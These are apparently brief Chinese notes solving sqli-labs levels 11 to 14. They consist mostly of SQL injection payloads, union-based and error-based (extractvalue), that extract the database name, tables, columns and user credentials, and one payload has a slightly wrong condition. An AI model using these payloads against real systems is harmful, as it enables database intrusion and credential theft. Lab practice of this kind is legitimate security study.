less-11
正常输入,提示正确
加一个冒号,提示错误
尝试万能密码
可以判断为单引号
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";(原代码)
less -12
-1 ”) union select 1,database() # (爆库名)
-1 ' union select 1,group_concat(table_name) from information_schema.tables where table_name='security' # (爆表名)
-1 ") union select 1, group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' # (爆字段名)
-1 ") union select 1,group_concat(username,2,password) from users # (爆字段内容) less-13
可以看到代码被注释,不能输出我们想要的内容
但是可以使用报错注入
-1' ) and extractvalue(1,concat(0x7e,(select database()))) #
-1' ) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) #
-1' ) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) #
less-14
-1" and extractvalue(1,concat(0x7e,(select database()))) #